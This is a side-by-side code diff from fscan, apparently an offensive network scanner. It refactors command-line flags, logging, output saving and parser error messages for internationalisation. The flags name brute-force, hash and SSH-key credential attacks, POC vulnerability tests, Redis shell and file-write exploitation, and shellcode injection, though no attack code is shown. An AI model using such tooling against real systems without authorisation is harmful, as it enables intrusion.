func Flag(Info *HostInfo) { func Flag(Info *HostInfo) {
Banner() Banner()
// 预处理语言设置 - 在定义flag之前检查lang参数
preProcessLanguage()
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 目标配置参数 // 目标配置参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports")) flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 扫描控制参数 // 扫描控制参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode")) flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num")) flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) flag.IntVar(&LiveTop, "top", 10, i18n.GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) flag.BoolVar(&UsePing, "ping", false, i18n.GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 认证与凭据参数 // 认证与凭据参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", GetText("flag_username")) flag.StringVar(&Username, "user", "", i18n.GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password")) flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用 flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用 flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// Web扫描参数 // Web扫描参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// POC测试参数 // POC测试参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc")) flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// Redis利用参数 // Redis利用参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) flag.BoolVar(&DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 暴力破解控制参数 // 暴力破解控制参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 输出与显示控制参数 // 输出与显示控制参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, GetText("flag_log_level")) flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) flag.BoolVar(&ShowProgress, "pg", true, i18n.GetText("flag_show_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) var noProgress bool
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) flag.BoolVar(&noProgress, "np-bar", false, i18n.GetText("flag_no_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, i18n.GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, i18n.GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 其他参数 // 其他参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
var showHelp bool
flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help"))
// 解析命令行参数 // 解析命令行参数
parseCommandLineArgs() parseCommandLineArgs()
// 设置语言 // 设置语言
SetLanguage() i18n.SetLanguage(Language)
// 处理进度条禁用逻辑
if noProgress {
ShowProgress = false
}
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) {
flag.Usage()
os.Exit(0)
}
} }
// parseCommandLineArgs 处理来自环境变量和命令行的参数 // parseCommandLineArgs 处理来自环境变量和命令行的参数
@ -218,3 +305,45 @@ func parseEnvironmentArgs(argsString string) ([]string, error) {
return args, nil return args, nil
} }
// preProcessLanguage 预处理语言参数在定义flag之前设置语言
func preProcessLanguage() {
// 遍历命令行参数查找-lang参数
for i, arg := range os.Args {
if arg == "-lang" && i+1 < len(os.Args) {
lang := os.Args[i+1]
if lang == "en" || lang == "zh" {
Language = lang
i18n.SetLanguage(lang)
return
}
} else if strings.HasPrefix(arg, "-lang=") {
lang := strings.TrimPrefix(arg, "-lang=")
if lang == "en" || lang == "zh" {
Language = lang
i18n.SetLanguage(lang)
return
}
}
}
// 检查环境变量
envLang := os.Getenv("FS_LANG")
if envLang == "en" || envLang == "zh" {
Language = envLang
i18n.SetLanguage(envLang)
}
}
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo) bool {
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode
// 如果没有提供任何扫描目标,则显示帮助
if !hasTarget {
return true
}
return false
}

View File

@ -1,183 +0,0 @@
package Common
import (
"io"
"log"
"sync"
"time"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/Common/logging"
)
// 全局变量定义(保持向后兼容)
var (
// 扫描状态管理器,记录最近一次成功和错误的时间
status = logging.NewScanStatus()
// Num 表示待处理的总任务数量
Num int64
// End 表示已经完成的任务数量
End int64
// StartTime 开始时间(保持原有行为)
StartTime = time.Now()
)
// LogEntry 定义单条日志的结构(向后兼容)
type LogEntry = logging.LogEntry
// ScanStatus 用于记录和管理扫描状态的结构体(向后兼容)
type ScanStatus = logging.ScanStatus
// 定义系统支持的日志级别常量(向后兼容)
const (
LogLevelAll = string(logging.LevelAll)
LogLevelError = string(logging.LevelError)
LogLevelBase = string(logging.LevelBase)
LogLevelInfo = string(logging.LevelInfo)
LogLevelSuccess = string(logging.LevelSuccess)
LogLevelDebug = string(logging.LevelDebug)
LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
)
// 全局日志管理器
var (
globalLogger *logging.Logger
loggerOnce sync.Once
)
// getGlobalLogger 获取全局日志管理器
func getGlobalLogger() *logging.Logger {
loggerOnce.Do(func() {
config := &logging.LoggerConfig{
Level: logging.LevelBaseInfoSuccess,
EnableColor: !NoColor,
SlowOutput: SlowLogOutput,
ShowProgress: true,
StartTime: StartTime,
LevelColors: map[logging.LogLevel]color.Attribute{
logging.LevelError: color.FgBlue, // 错误日志显示蓝色
logging.LevelBase: color.FgYellow, // 基础日志显示黄色
logging.LevelInfo: color.FgGreen, // 信息日志显示绿色
logging.LevelSuccess: color.FgRed, // 成功日志显示红色
logging.LevelDebug: color.FgWhite, // 调试日志显示白色
},
}
globalLogger = logging.NewLogger(config)
// 设置进度条(如果存在)
if ProgressBar != nil {
globalLogger.SetProgressBar(ProgressBar)
}
// 设置输出互斥锁
globalLogger.SetOutputMutex(&OutputMutex)
// 使用全局扫描状态
status = globalLogger.GetScanStatus()
})
return globalLogger
}
// InitLogger 初始化日志系统(保持原接口)
func InitLogger() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
// 初始化全局日志管理器
getGlobalLogger().Initialize()
}
// SetLoggerConfig 设置日志配置
func SetLoggerConfig(enableColor, slowOutput bool, progressBar ProgressDisplay) {
config := &logging.LoggerConfig{
Level: logging.LevelBaseInfoSuccess,
EnableColor: enableColor,
SlowOutput: slowOutput,
ShowProgress: true,
StartTime: StartTime,
LevelColors: map[logging.LogLevel]color.Attribute{
logging.LevelError: color.FgBlue,
logging.LevelBase: color.FgYellow,
logging.LevelInfo: color.FgGreen,
logging.LevelSuccess: color.FgRed,
logging.LevelDebug: color.FgWhite,
},
}
newLogger := logging.NewLogger(config)
if progressBar != nil {
newLogger.SetProgressBar(progressBar)
}
newLogger.SetOutputMutex(&OutputMutex)
// 更新全局日志管理器
globalLogger = newLogger
status = newLogger.GetScanStatus()
}
// ProgressDisplay 进度条显示接口(向后兼容)
type ProgressDisplay = logging.ProgressDisplay
// LogDebug 记录调试日志(保持原接口)
func LogDebug(msg string) {
getGlobalLogger().Debug(msg)
}
// LogBase 记录进度信息(保持原接口)
func LogBase(msg string) {
getGlobalLogger().Base(msg)
}
// LogInfo 记录信息日志(保持原接口)
func LogInfo(msg string) {
getGlobalLogger().Info(msg)
}
// LogSuccess 记录成功日志(保持原接口)
func LogSuccess(result string) {
getGlobalLogger().Success(result)
}
// LogError 记录错误日志(保持原接口)
func LogError(errMsg string) {
getGlobalLogger().Error(errMsg)
}
// CheckErrs 检查是否为需要重试的错误(保持原接口)
func CheckErrs(err error) error {
return logging.CheckErrs(err)
}
// GetScanStatus 获取扫描状态(新增接口)
func GetScanStatus() *logging.ScanStatus {
return status
}
// UpdateScanProgress 更新扫描进度(新增接口)
func UpdateScanProgress(completed, total int64) {
status.SetCompleted(completed)
status.SetTotal(total)
// 更新全局变量(保持向后兼容)
End = completed
Num = total
}
// SetProgressBar 设置进度条(新增接口)
func SetProgressBar(progressBar ProgressDisplay) {
if globalLogger != nil {
globalLogger.SetProgressBar(progressBar)
}
}
// 兼容性别名,保持原有的使用方式
var (
// formatLogMessage 保持向后兼容(但不对外暴露实现)
// printLog 保持向后兼容(但不对外暴露实现)
// handleLog 保持向后兼容(但不对外暴露实现)
// clearAndWaitProgress 保持向后兼容(但不对外暴露实现)
)

View File

@ -1,289 +0,0 @@
package Common
import (
"fmt"
"time"
"github.com/shadow1ng/fscan/Common/output"
)
// 全局输出管理器(保持向后兼容)
var ResultOutput *OutputManager
// OutputManager 输出管理器结构体(向后兼容)
type OutputManager struct {
manager *output.Manager
}
// ResultType 定义结果类型(向后兼容)
type ResultType = output.ResultType
const (
HOST ResultType = output.TypeHost // 主机存活
PORT ResultType = output.TypePort // 端口开放
SERVICE ResultType = output.TypeService // 服务识别
VULN ResultType = output.TypeVuln // 漏洞发现
)
// ScanResult 扫描结果结构(向后兼容)
type ScanResult = output.ScanResult
// createOutputManager 创建输出管理器的内部包装
func createOutputManager(outputPath, outputFormat string) (*OutputManager, error) {
var format output.OutputFormat
switch outputFormat {
case "txt":
format = output.FormatTXT
case "json":
format = output.FormatJSON
case "csv":
format = output.FormatCSV
default:
return nil, fmt.Errorf(GetText("output_format_invalid"), outputFormat)
}
config := output.DefaultManagerConfig(outputPath, format)
manager, err := output.NewManager(config)
if err != nil {
return nil, err
}
return &OutputManager{
manager: manager,
}, nil
}
// InitOutput 初始化输出系统(保持原接口)
func InitOutput() error {
LogDebug(GetText("output_init_start"))
// 验证输出格式
switch OutputFormat {
case "txt", "json", "csv":
// 有效的格式
default:
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
}
// 验证输出路径
if Outputfile == "" {
return fmt.Errorf(GetText("output_path_empty"))
}
manager, err := createOutputManager(Outputfile, OutputFormat)
if err != nil {
LogDebug(GetText("output_init_failed", err))
return fmt.Errorf(GetText("output_init_failed", err))
}
ResultOutput = manager
// 设置全局输出管理器
output.SetGlobalManager(manager.manager)
LogDebug(GetText("output_init_success"))
return nil
}
// saveResult 内部方法,使用新的输出管理器保存结果
func (om *OutputManager) saveResult(result *ScanResult) error {
if om.manager == nil {
return fmt.Errorf(GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
return om.manager.SaveResult(result)
}
// getResult 内部方法,获取结果
func (om *OutputManager) getResult() ([]*ScanResult, error) {
if om.manager == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
return om.manager.GetResults()
}
// SaveResult 保存扫描结果(保持原接口)
func SaveResult(result *ScanResult) error {
if ResultOutput == nil {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
return ResultOutput.saveResult(result)
}
// GetResults 获取扫描结果(保持原接口)
func GetResults() ([]*ScanResult, error) {
if ResultOutput == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
return ResultOutput.getResult()
}
// CloseOutput 关闭输出系统(保持原接口)
func CloseOutput() error {
if ResultOutput == nil {
LogDebug(GetText("output_no_need_close"))
return nil
}
LogDebug(GetText("output_closing"))
err := ResultOutput.manager.Close()
if err != nil {
LogDebug(GetText("output_close_failed", err))
return fmt.Errorf(GetText("output_close_failed", err))
}
LogDebug(GetText("output_closed"))
return nil
}
// 新增功能接口
// SaveResultWithDetails 保存带详细信息的扫描结果
func SaveResultWithDetails(resultType ResultType, target, status string, details map[string]interface{}) error {
result := &ScanResult{
Time: time.Now(),
Type: resultType,
Target: target,
Status: status,
Details: details,
}
return SaveResult(result)
}
// GetResultsWithFilter 获取过滤后的扫描结果
func GetResultsWithFilter(filter *output.ResultFilter) ([]*ScanResult, error) {
if ResultOutput == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
return ResultOutput.manager.GetResultsWithFilter(filter)
}
// GetOutputStatistics 获取输出统计信息
func GetOutputStatistics() *output.Statistics {
if ResultOutput == nil {
return nil
}
return ResultOutput.manager.GetStatistics()
}
// FlushOutput 刷新输出缓冲区
func FlushOutput() error {
if ResultOutput == nil {
return nil
}
return ResultOutput.manager.Flush()
}
// UpdateOutputConfig 更新输出配置
func UpdateOutputConfig(updates map[string]interface{}) error {
if ResultOutput == nil {
return fmt.Errorf(GetText("output_not_init"))
}
return ResultOutput.manager.UpdateConfig(updates)
}
// 便利函数用于快速保存不同类型的结果
// SaveHostResult 保存主机存活结果
func SaveHostResult(target string, isAlive bool, details map[string]interface{}) error {
status := "离线"
if isAlive {
status = "存活"
}
return SaveResultWithDetails(HOST, target, status, details)
}
// SavePortResult 保存端口扫描结果
func SavePortResult(target string, port int, isOpen bool, service string, details map[string]interface{}) error {
status := "关闭"
if isOpen {
status = "开放"
}
if details == nil {
details = make(map[string]interface{})
}
details["port"] = port
if service != "" {
details["service"] = service
}
targetWithPort := fmt.Sprintf("%s:%d", target, port)
return SaveResultWithDetails(PORT, targetWithPort, status, details)
}
// SaveServiceResult 保存服务识别结果
func SaveServiceResult(target string, service, version string, details map[string]interface{}) error {
status := service
if version != "" {
status = fmt.Sprintf("%s %s", service, version)
}
if details == nil {
details = make(map[string]interface{})
}
details["service"] = service
if version != "" {
details["version"] = version
}
return SaveResultWithDetails(SERVICE, target, status, details)
}
// SaveVulnResult 保存漏洞发现结果
func SaveVulnResult(target, vulnName, severity string, details map[string]interface{}) error {
status := vulnName
if severity != "" {
status = fmt.Sprintf("%s [%s]", vulnName, severity)
}
if details == nil {
details = make(map[string]interface{})
}
details["vulnerability"] = vulnName
if severity != "" {
details["severity"] = severity
}
return SaveResultWithDetails(VULN, target, status, details)
}
// 导出新的类型和接口供高级用户使用
type (
OutputFormatType = output.OutputFormat
ResultFilter = output.ResultFilter
TimeRange = output.TimeRange
Statistics = output.Statistics
ManagerConfig = output.ManagerConfig
)
// 导出新的常量
const (
FormatTXT = output.FormatTXT
FormatJSON = output.FormatJSON
FormatCSV = output.FormatCSV
TypeInfo = output.TypeInfo
TypeBrute = output.TypeBrute
)
// CreateOutputManager 创建新的输出管理器(高级接口)
func CreateOutputManager(config *ManagerConfig) (*output.Manager, error) {
return output.NewManager(config)
}
// DefaultOutputConfig 获取默认输出配置
func DefaultOutputConfig(outputPath string, format OutputFormatType) *ManagerConfig {
return output.DefaultManagerConfig(outputPath, format)
}

View File

@ -1,13 +1,13 @@
package Common package common
import ( import (
"fmt" "fmt"
"sync" "sync"
"time" "time"
"github.com/fatih/color" "github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/Common/logging" "github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/Common/parsers" "github.com/shadow1ng/fscan/common/parsers"
) )
// ParsedConfiguration 解析后的完整配置(兼容旧代码) // ParsedConfiguration 解析后的完整配置(兼容旧代码)
@ -69,9 +69,9 @@ func getGlobalParser() *Parser {
func Parse(Info *HostInfo) error { func Parse(Info *HostInfo) error {
// 首先应用LogLevel配置到日志系统 // 首先应用LogLevel配置到日志系统
applyLogLevel() applyLogLevel()
parser := getGlobalParser() parser := getGlobalParser()
// 构建输入参数 // 构建输入参数
input := &AllInputs{ input := &AllInputs{
Credential: &parsers.CredentialInput{ Credential: &parsers.CredentialInput{
@ -114,12 +114,12 @@ func Parse(Info *HostInfo) error {
// 执行解析 // 执行解析
result, err := parser.ParseAll(input) result, err := parser.ParseAll(input)
if err != nil { if err != nil {
return fmt.Errorf("解析配置失败: %v", err) return fmt.Errorf(i18n.GetText("parse_error_config_failed", err))
} }
// 更新全局变量以保持兼容性 // 更新全局变量以保持兼容性
if err := updateGlobalVariables(result.Config, Info); err != nil { if err := updateGlobalVariables(result.Config, Info); err != nil {
return fmt.Errorf("更新全局变量失败: %v", err) return fmt.Errorf(i18n.GetText("parse_error_update_vars_failed", err))
} }
// 报告警告 // 报告警告
@ -130,6 +130,9 @@ func Parse(Info *HostInfo) error {
// 显示解析结果摘要 // 显示解析结果摘要
showParseSummary(result.Config) showParseSummary(result.Config)
// 同步变量到core包
syncToCore()
return nil return nil
} }
@ -143,14 +146,14 @@ type AllInputs struct {
// ParseAll 解析所有配置 // ParseAll 解析所有配置
func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) { func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input == nil { if input == nil {
return nil, fmt.Errorf("输入参数为空") return nil, fmt.Errorf(i18n.GetText("parse_error_empty_input"))
} }
p.mu.Lock() p.mu.Lock()
defer p.mu.Unlock() defer p.mu.Unlock()
if !p.initialized { if !p.initialized {
return nil, fmt.Errorf("解析器未初始化") return nil, fmt.Errorf(i18n.GetText("parse_error_parser_not_init"))
} }
startTime := time.Now() startTime := time.Now()
@ -166,7 +169,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input.Credential != nil { if input.Credential != nil {
credResult, err := p.credentialParser.Parse(input.Credential, p.options) credResult, err := p.credentialParser.Parse(input.Credential, p.options)
if err != nil { if err != nil {
allErrors = append(allErrors, fmt.Errorf("凭据解析失败: %v", err)) allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_credential_failed", err)))
} else { } else {
result.Config.Credentials = credResult.Config.Credentials result.Config.Credentials = credResult.Config.Credentials
allErrors = append(allErrors, credResult.Errors...) allErrors = append(allErrors, credResult.Errors...)
@ -178,7 +181,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input.Target != nil { if input.Target != nil {
targetResult, err := p.targetParser.Parse(input.Target, p.options) targetResult, err := p.targetParser.Parse(input.Target, p.options)
if err != nil { if err != nil {
allErrors = append(allErrors, fmt.Errorf("目标解析失败: %v", err)) allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_target_failed", err)))
} else { } else {
result.Config.Targets = targetResult.Config.Targets result.Config.Targets = targetResult.Config.Targets
allErrors = append(allErrors, targetResult.Errors...) allErrors = append(allErrors, targetResult.Errors...)
@ -190,7 +193,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input.Network != nil { if input.Network != nil {
networkResult, err := p.networkParser.Parse(input.Network, p.options) networkResult, err := p.networkParser.Parse(input.Network, p.options)
if err != nil { if err != nil {
allErrors = append(allErrors, fmt.Errorf("网络解析失败: %v", err)) allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_network_failed", err)))
} else { } else {
result.Config.Network = networkResult.Config.Network result.Config.Network = networkResult.Config.Network
allErrors = append(allErrors, networkResult.Errors...) allErrors = append(allErrors, networkResult.Errors...)
@ -212,7 +215,7 @@ func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options) validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options)
if err != nil { if err != nil {
allErrors = append(allErrors, fmt.Errorf("验证失败: %v", err)) allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_validation_failed", err)))
} else { } else {
result.Config.Validation = validationResult.Config.Validation result.Config.Validation = validationResult.Config.Validation
allErrors = append(allErrors, validationResult.Errors...) allErrors = append(allErrors, validationResult.Errors...)
@ -316,168 +319,6 @@ func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
return nil return nil
} }
// 保持原有的独立解析函数以确保向后兼容性
// ParseUser 解析用户名配置 - 兼容接口
func ParseUser() error {
parser := getGlobalParser()
input := &parsers.CredentialInput{
Username: Username,
UsersFile: UsersFile,
AddUsers: AddUsers,
}
result, err := parser.credentialParser.Parse(input, parser.options)
if err != nil {
return err
}
// 更新全局变量
if len(result.Config.Credentials.Usernames) > 0 {
for serviceName := range Userdict {
Userdict[serviceName] = result.Config.Credentials.Usernames
}
}
return nil
}
// ParsePass 解析密码配置 - 兼容接口
func ParsePass(Info *HostInfo) error {
parser := getGlobalParser()
// 处理密码
credInput := &parsers.CredentialInput{
Password: Password,
PasswordsFile: PasswordsFile,
AddPasswords: AddPasswords,
HashValue: HashValue,
HashFile: HashFile,
}
credResult, err := parser.credentialParser.Parse(credInput, parser.options)
if err != nil {
LogError(fmt.Sprintf("密码解析失败: %v", err))
} else if credResult.Config.Credentials != nil {
if len(credResult.Config.Credentials.Passwords) > 0 {
Passwords = credResult.Config.Credentials.Passwords
}
if len(credResult.Config.Credentials.HashValues) > 0 {
HashValues = credResult.Config.Credentials.HashValues
}
if len(credResult.Config.Credentials.HashBytes) > 0 {
HashBytes = credResult.Config.Credentials.HashBytes
}
}
// 处理URL和主机
targetInput := &parsers.TargetInput{
TargetURL: TargetURL,
URLsFile: URLsFile,
Host: Info.Host,
HostsFile: HostsFile,
Ports: Ports,
PortsFile: PortsFile,
AddPorts: AddPorts,
ExcludePorts: ExcludePorts,
}
targetResult, err := parser.targetParser.Parse(targetInput, parser.options)
if err != nil {
LogError(fmt.Sprintf("目标解析失败: %v", err))
} else if targetResult.Config.Targets != nil {
if len(targetResult.Config.Targets.URLs) > 0 {
URLs = targetResult.Config.Targets.URLs
}
if len(targetResult.Config.Targets.Hosts) > 0 {
Info.Host = joinStrings(targetResult.Config.Targets.Hosts, ",")
}
if len(targetResult.Config.Targets.Ports) > 0 {
Ports = joinInts(targetResult.Config.Targets.Ports, ",")
}
}
return nil
}
// ParseInput 解析输入参数 - 兼容接口
func ParseInput(Info *HostInfo) error {
parser := getGlobalParser()
// 网络配置解析
networkInput := &parsers.NetworkInput{
HttpProxy: HttpProxy,
Socks5Proxy: Socks5Proxy,
Timeout: Timeout,
WebTimeout: WebTimeout,
DisablePing: DisablePing,
DnsLog: DnsLog,
UserAgent: UserAgent,
Cookie: Cookie,
}
networkResult, err := parser.networkParser.Parse(networkInput, parser.options)
